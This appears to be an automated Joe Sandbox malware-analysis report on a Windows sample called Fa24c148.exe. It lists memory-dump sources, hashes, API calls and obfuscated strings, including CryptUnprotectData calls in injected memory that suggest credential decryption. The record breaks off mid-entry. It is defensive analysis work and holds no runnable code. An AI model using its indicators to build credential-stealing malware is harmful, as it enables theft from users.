Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3081826266
Opcode ID: 625fa06925f8270b1afe367a89cf7ebbb118f8284009cdbee328cf168e922138
Instruction ID: e725929a78bd54513bffc085a294c09ba81a7575a3dcdc05b4864a3003f147fa
Opcode Fuzzy Hash: 625fa06925f8270b1afe367a89cf7ebbb118f8284009cdbee328cf168e922138
Instruction Fuzzy Hash: 8AE0C2339010206BC7315F55EC0871ABBAC6F99B72F054527E9407B3A18374AC524FDC

Function 0040580E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(80000000,C:\Users\user\Desktop,00402DD5,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Fa24c148.exe,C:\Users\user\Desktop\Fa24c148.exe,80000000,00000003,?,?,?,00000000,00403425,?), ref: 00405814
CharPrevW.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402DD5,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\Fa24c148.exe,C:\Users\user\Desktop\Fa24c148.exe,80000000,00000003,?,?,?,00000000,00403425), ref: 00405824

Strings

C:\Users\user\Desktop, xrefs: 0040580E

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-224404859
Opcode ID: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction ID: 54f9e395c00b90dc5451f5026eb4b74e0c6c88693738feeaeea148d18d65316b
Opcode Fuzzy Hash: 5322967536e1a0efddda02766e650d0d94df305eef9f06c9ed47c97fde570a53
Instruction Fuzzy Hash: C9D05EB34109209AD3227B04DC049EF77ADEF563107458467F800A21A0D3785C908AED

Function 100010E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 10001243: lstrcpyW.KERNEL32(00000000,?,?,?,10001534,?,10001020,10001019,00000001), ref: 10001260
Part of subcall function 10001243: GlobalFree.KERNEL32 ref: 10001271

GlobalAlloc.KERNEL32(00000040,?), ref: 1000116A
GlobalFree.KERNEL32(00000000), ref: 100011C7
GlobalFree.KERNEL32(00000000), ref: 100011D9
GlobalFree.KERNEL32(?), ref: 10001203

Memory Dump Source

Source File: 00000000.00000002.2032781626.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2032762594.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2032798460.0000000010003000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2032821608.0000000010005000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_Fa24c148.jbxd

Similarity

API ID: Global$Free$Alloclstrcpy
String ID:
API String ID: 852173138-0
Opcode ID: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
Instruction ID: c8ae98bcc35e74d2b72c58860f7bdf59a74f39180ec1ffd54fa0f92d9f30571b
Opcode Fuzzy Hash: a36c3baa5ea934aaf830980c9406ed3c53712f48e27dcab7b4d6d185e039dd99
Instruction Fuzzy Hash: 5E3190F6904211AFF314CF64DC859EA77E8EB853D0B124529FB41E726CEB34E8018765

Function 00405948 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 00405958
lstrcmpiA.KERNEL32(00405B82,00000000), ref: 00405970
CharNextA.USER32(00405B82,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 00405981
lstrlenA.KERNEL32(00405B82,?,00000000,00405B82,00000000,[Rename],00000000,00000000,00000000), ref: 0040598A

Memory Dump Source

Source File: 00000000.00000002.2028141956.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2028124677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028161718.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000424000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.000000000045F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028308619.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000462000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000472000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000487000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.000000000048F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2028502042.0000000000493000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Fa24c148.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: f21a2c11da6ab3502238cdf1fad183a2072097fc1b5c712b12301f5e4005d6a7
Instruction ID: 6e6ac9e946d98d70bf9313254ac0794fd071748d29dfdc9c098e77395f368069
Opcode Fuzzy Hash: f21a2c11da6ab3502238cdf1fad183a2072097fc1b5c712b12301f5e4005d6a7
Instruction Fuzzy Hash: B9F0C232504554EFC7029FA9DD0099EBBA8EF06260B2540B6E801F7210D274EE019BA9

Analysis Process: Fa24c148.exePID: 1440, Parent PID: 6572COMMON

Execution Graph

Execution Coverage:	7.8%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	5.3%
Total number of Nodes:	114
Total number of Limit Nodes:	9

Executed Functions

Function 001676F1 Relevance: 10.5, Strings: 8, Instructions: 477
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(o^q, xrefs: 001678B2
(o^q, xrefs: 00167815
(o^q, xrefs: 001677E9
(o^q, xrefs: 00167BFF
(o^q, xrefs: 00167C0F
,bq, xrefs: 00167BA0
(o^q, xrefs: 0016772E
,bq, xrefs: 00167B90

Memory Dump Source

Source File: 00000004.00000002.2928164859.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Fa24c148.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$(o^q$(o^q$(o^q$(o^q$,bq$,bq
API String ID: 0-1932283790
Opcode ID: 7645520861dc8039c5b47e9e7ae5de375d9eea3060042f27546b18302f768b65
Instruction ID: 562241f667d91d42f884b85c0d9ba324b20b6a8482874a9cf87f088e2b9ba430
Opcode Fuzzy Hash: 7645520861dc8039c5b47e9e7ae5de375d9eea3060042f27546b18302f768b65
Instruction Fuzzy Hash: 95125A30A042098FCB15CF69D984AAEBBF1FF49318F158599E815DB3A1D730ED55CB50

Function 35785028 Relevance: 8.1, Strings: 4, Instructions: 3069COMMON

Download Yara Rule

Strings

>v5, xrefs: 35785351
>v5, xrefs: 3578538F
>v5, xrefs: 35785323
N, xrefs: 35788408

Memory Dump Source

Source File: 00000004.00000002.2955195873.0000000035780000.00000040.00000800.00020000.00000000.sdmp, Offset: 35780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35780000_Fa24c148.jbxd

Similarity

API ID:
String ID: >v5$>v5$>v5$N
API String ID: 0-3692199019
Opcode ID: 9a2554c9d21f769440302cb0546668a39fd1d14363e2aa0be211b6593daac517
Instruction ID: 1cb279cf7af1a7fc868a91923d0a78d4052bb187e1d58e6e1ef7af68b4d705f8
Opcode Fuzzy Hash: 9a2554c9d21f769440302cb0546668a39fd1d14363e2aa0be211b6593daac517
Instruction Fuzzy Hash: F973F731D107598EDB11EF68C854A99FBB1FF99300F51D69AE4487B221EB70AAC4CF81

Function 00166FC8 Relevance: 5.4, Strings: 4, Instructions: 450
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

,bq, xrefs: 0016728A
(o^q, xrefs: 00167212
(o^q, xrefs: 00167220
,bq, xrefs: 00167298

Memory Dump Source

Source File: 00000004.00000002.2928164859.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Fa24c148.jbxd

Similarity

API ID:
String ID: (o^q$(o^q$,bq$,bq
API String ID: 0-879173519
Opcode ID: fc24d5868451c82a8c764a894d43927f83c28ff5959cb92139f76cd18539a964
Instruction ID: 06884e5f6df88911cdc07ec6bc8c3ce7b41505920d052501f1e678e43910ad60
Opcode Fuzzy Hash: fc24d5868451c82a8c764a894d43927f83c28ff5959cb92139f76cd18539a964
Instruction Fuzzy Hash: B3025F70A04219DFCB15CF69CD88AAEBBB2FF49304F258469E815AB3A1DB30DD51CB51

Function 0016A088 Relevance: 3.4, Strings: 2, Instructions: 900COMMON

Download Yara Rule

Strings

(o^q, xrefs: 0016A518
4'^q, xrefs: 0016AB13

Memory Dump Source

Source File: 00000004.00000002.2928164859.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Fa24c148.jbxd

Similarity

API ID:
String ID: (o^q$4'^q
API String ID: 0-273632683
Opcode ID: 2f25b909dc7ce8e4fe4c1f128458474777905ab6e81124240d8e6d9e03469993
Instruction ID: 6d24fc2feda2f1c0ab9ae76d9d4f7fc2bb2ab1439cd5af9ded69c0f354d57d40
Opcode Fuzzy Hash: 2f25b909dc7ce8e4fe4c1f128458474777905ab6e81124240d8e6d9e03469993
Instruction Fuzzy Hash: 4F827075A00209DFCB15CFA8C994AAEBBF2FF88310F55855AE406AB261D730ED91CF51

Function 0016C147 Relevance: 2.7, Strings: 2, Instructions: 234COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0016C400
PH^q, xrefs: 0016C3EF

Memory Dump Source

Source File: 00000004.00000002.2928164859.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Fa24c148.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: d43030d3d02855f2ba5a5a0fc82c33ed8fab905acd6bc3e78a720c33edf3ae79
Instruction ID: 154c8e9ea3b3a37fd1cd744f17cb3846e261d84259b202ca99bd00ae8653b61f
Opcode Fuzzy Hash: d43030d3d02855f2ba5a5a0fc82c33ed8fab905acd6bc3e78a720c33edf3ae79
Instruction Fuzzy Hash: EBA10874E05258CFDB14DFA9D884AADBBF2BF89300F15806AE448AB365DB319D41CF50

Function 00166498 Relevance: 2.7, Strings: 2, Instructions: 231COMMON

Download Yara Rule

Strings

,bq, xrefs: 00166578
,bq, xrefs: 0016656E

Memory Dump Source

Source File: 00000004.00000002.2928164859.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Fa24c148.jbxd

Similarity

API ID:
String ID: ,bq$,bq
API String ID: 0-2699258169
Opcode ID: 82c66e81ecbf566fa4d0d4e3205bb9fc3420af2fab9b6d7a84aa54aca2670f1b
Instruction ID: e38356bb63319b365aa304a5bd666df46c1554d6a1536ab522e7696d7ff15799
Opcode Fuzzy Hash: 82c66e81ecbf566fa4d0d4e3205bb9fc3420af2fab9b6d7a84aa54aca2670f1b
Instruction Fuzzy Hash: A1819074A00505DFCB18CF69DC849AABBB2FF89305B258169D406EB379DB31EC61CB51

Function 00165362 Relevance: 2.7, Strings: 2, Instructions: 196COMMON

Download Yara Rule

Strings

PH^q, xrefs: 001655D9
PH^q, xrefs: 001655C8

Memory Dump Source

Source File: 00000004.00000002.2928164859.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Fa24c148.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 56eacda3e3e1d7009a40981a2ce11ac509e926353aabcd279d093eecf0e2adf3
Instruction ID: 62f9620ff849b012b32f6664a03897baa764cc0845e3193450c89e2186959336
Opcode Fuzzy Hash: 56eacda3e3e1d7009a40981a2ce11ac509e926353aabcd279d093eecf0e2adf3
Instruction Fuzzy Hash: 3E91C774E00658CFDB18DFAAD984A9DBBF2BF89300F149069E409AB365DB309985CF50

Function 0016C468 Relevance: 2.7, Strings: 2, Instructions: 190COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0016C6D0
PH^q, xrefs: 0016C6BF

Memory Dump Source

Source File: 00000004.00000002.2928164859.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Fa24c148.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: a937162cb439576cf4235043b895e4fccb24659fa6976e4c2c402acfb0e80d80
Instruction ID: 0ba6f844cc3d6045e6768908fa6e75bd008f3c820c903f140e67b5c6d132df71
Opcode Fuzzy Hash: a937162cb439576cf4235043b895e4fccb24659fa6976e4c2c402acfb0e80d80
Instruction Fuzzy Hash: 0281D674E00218CFDB18DFAAD984A9DBBF2BF89300F14D069E459AB365DB309945CF54

Function 0016CCD8 Relevance: 2.7, Strings: 2, Instructions: 189COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0016CF40
PH^q, xrefs: 0016CF2F

Memory Dump Source

Source File: 00000004.00000002.2928164859.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Fa24c148.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: f579d32736e11a2170d734481a78f6d167bd102229a7f5df12b52d0aa1205b7d
Instruction ID: cdf7c1fbb2136ed476cb28f4a76d4500f0df04f855d28bab73fb41bf61e989bd
Opcode Fuzzy Hash: f579d32736e11a2170d734481a78f6d167bd102229a7f5df12b52d0aa1205b7d
Instruction Fuzzy Hash: 5481D574E00218DFDB18DFAAD884A9DBBF2BF89300F14C069E459AB365DB319985CF50

Function 0016D278 Relevance: 2.7, Strings: 2, Instructions: 186COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0016D4CF
PH^q, xrefs: 0016D4E0

Memory Dump Source

Source File: 00000004.00000002.2928164859.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Fa24c148.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 6585bbc32d4252ba2df6afca5371551b5a507cc25506e07ce62d2c5023e338a9
Instruction ID: 62d98e5e9d394abcef41ba701bcf13011b99df84ec94b4257170a2eb350fb7c2
Opcode Fuzzy Hash: 6585bbc32d4252ba2df6afca5371551b5a507cc25506e07ce62d2c5023e338a9
Instruction Fuzzy Hash: FC81A274E01218CFDB18DFAAD884A9DBBF2BF89300F149069E819AB365DB349D45CF50

Function 0016C738 Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0016C9A0
PH^q, xrefs: 0016C98F

Memory Dump Source

Source File: 00000004.00000002.2928164859.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Fa24c148.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 661c557fb2cc6ee7294530dcc39b574bc8791f57748ea1c19f5e2d422a5a56ff
Instruction ID: 44959b0859246a0a5125fc637e2db1d73c0202170014b13ff8c896c5ade7de1b
Opcode Fuzzy Hash: 661c557fb2cc6ee7294530dcc39b574bc8791f57748ea1c19f5e2d422a5a56ff
Instruction Fuzzy Hash: 8381C474E00218CFDB18DFAAD984A9DBBF2BF89304F14D069E458AB365DB349945CF50

Function 0016CA08 Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0016CC70
PH^q, xrefs: 0016CC5F

Memory Dump Source

Source File: 00000004.00000002.2928164859.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Fa24c148.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 05ede2e2718a9fb038b947da62be3990ce92349d236e1b7a618702a5a6af0f55
Instruction ID: 965a5368eecd05cf3d258e5f77e2e999ba112d2b3798eb5d4c4730aa97ec25fe
Opcode Fuzzy Hash: 05ede2e2718a9fb038b947da62be3990ce92349d236e1b7a618702a5a6af0f55
Instruction Fuzzy Hash: 8881B774E01218CFDB14DFAAD884AADBBF2BF89300F14C069E459AB365DB355945CF50

Function 0016CFAA Relevance: 2.7, Strings: 2, Instructions: 185COMMON

Download Yara Rule

Strings

PH^q, xrefs: 0016D1FF
PH^q, xrefs: 0016D210

Memory Dump Source

Source File: 00000004.00000002.2928164859.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_Fa24c148.jbxd

Similarity

API ID:
String ID: PH^q$PH^q
API String ID: 0-1598597984
Opcode ID: 1b13020a67205f0ecfe397991af3f3a05e99ce6c6e065399ccd563520975dba0
Instruction ID: 5c3b2b0f153e97212b48f5b70328258265a5941100a984669c4ec862133cee6e
Opcode Fuzzy Hash: 1b13020a67205f0ecfe397991af3f3a05e99ce6c6e065399ccd563520975dba0
Instruction Fuzzy Hash: 0281B874E00218CFDB18DFAAD984A9DBBF2BF89300F14D069E819AB365DB749945CF50

Function 35E687A8 Relevance: 1.6, APIs: 1, Instructions: 55encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 35E68F5D

Memory Dump Source

Source File: 00000004.00000002.2955573596.0000000035E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 35E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35e60000_Fa24c148.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 84575daf4c22f3a69aa5adb83ce38e33993dce4c8516539a16e02673c56e72a9
Instruction ID: 095d604114a7b4dfb60dc8e9627aff7db7926cae6c8f19fbbcb32f317516230b
Opcode Fuzzy Hash: 84575daf4c22f3a69aa5adb83ce38e33993dce4c8516539a16e02673c56e72a9
Instruction Fuzzy Hash: D41156B2804259DFDB10CF99C845BDEBFF5EF48320F10841AEA58A7211C775AA50DFA5

Function 35E68EF1 Relevance: 1.6, APIs: 1, Instructions: 54encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,?,00000000,?,?,?,?), ref: 35E68F5D

Memory Dump Source

Source File: 00000004.00000002.2955573596.0000000035E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 35E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35e60000_Fa24c148.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: c50c76ecadfee73972a36cae1140e4a61b6bc9cee7f1ae391d0c74fb928147db
Instruction ID: d2495023563c5c1afca0d8ab7ddcfb6198ac68ba0af479737f6db6f455c141e3
Opcode Fuzzy Hash: c50c76ecadfee73972a36cae1140e4a61b6bc9cee7f1ae391d0c74fb928147db
Instruction Fuzzy Hash: A01167B2800249DFDB10CF99C945BDEBFF5EF48320F10841AE958A7211C335A650DFA5

Function 367ED710 Relevance: .7, Instructions: 745COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2956050543.00000000367E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367e0000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8eca0823753f09973268003deadc76308f0f106517e2d2d0c75b892a2cba34a1
Instruction ID: 36852091ceaa442cd2129b16e29196af695f293b71bd647bd55faad6ea256094
Opcode Fuzzy Hash: 8eca0823753f09973268003deadc76308f0f106517e2d2d0c75b892a2cba34a1
Instruction Fuzzy Hash: F2825C74E012289FDB64DF69C994BDDBBB2BF89301F1081EAA40DA7265DB315E85CF40

Function 35789548 Relevance: .4, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2955195873.0000000035780000.00000040.00000800.00020000.00000000.sdmp, Offset: 35780000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35780000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb27cf3758f4abdcb08c8d9c6d4bec057674f38483046209588c172299b4275c
Instruction ID: c781443904ba4f6be31a8348e6df0412771190ab8216e3628f0a87d69e252098
Opcode Fuzzy Hash: eb27cf3758f4abdcb08c8d9c6d4bec057674f38483046209588c172299b4275c
Instruction Fuzzy Hash: 38F1D174E01218CFDB14DFA9D884B9DBBB2BF88304F54C1A9E808AB355DB75A985CF50

Function 35E67B78 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2955573596.0000000035E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 35E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_35e60000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e697a747143ca4621c2e7cfbf549284b415888838cc505b2830dd1f3da9d6a2
Instruction ID: f8132b84e067afce673671966de11fa2a9f603ca9bbc9b164e9fe9d3987ef1c8
Opcode Fuzzy Hash: 9e697a747143ca4621c2e7cfbf549284b415888838cc505b2830dd1f3da9d6a2
Instruction Fuzzy Hash: 27E1AE74E01218DFEB54CFA5C944B9DBBB2BF89304F2081A9D409BB3A5DB355A85CF14

Function 367B6678 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2955971809.00000000367B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367b0000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17bad5964b0362d58bbbbe4ee48a6fa3e6b06e9c34db40f5f868ce935319168c
Instruction ID: b34d8001b6b29b8ad6d525523c890a525d8d43ddd764cffb934948206e64d599
Opcode Fuzzy Hash: 17bad5964b0362d58bbbbe4ee48a6fa3e6b06e9c34db40f5f868ce935319168c
Instruction Fuzzy Hash: 9BD18E74E00218CFDB54DFA5C994B9DBBB2BF89300F6081A9E409AB364DB359E85CF54

Function 367F1CF0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2956079241.00000000367F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367f0000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96a028f6603b0c1e2241d572d51ce0d7536f2f63259874aaf66d40459929699d
Instruction ID: e1d4688cbafdb4c305ee41917de22070b44b2ccc21bcedec77a8e38698bcac78
Opcode Fuzzy Hash: 96a028f6603b0c1e2241d572d51ce0d7536f2f63259874aaf66d40459929699d
Instruction Fuzzy Hash: 54D19E74E00218CFDB54DFA5C994B9DBBB2BF89300F6081A9E408AB364DB359E85CF54

Function 367F09D0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2956079241.00000000367F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 367F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_367f0000_Fa24c148.jbxd

Similarity

API ID:
String ID:
API String ID:
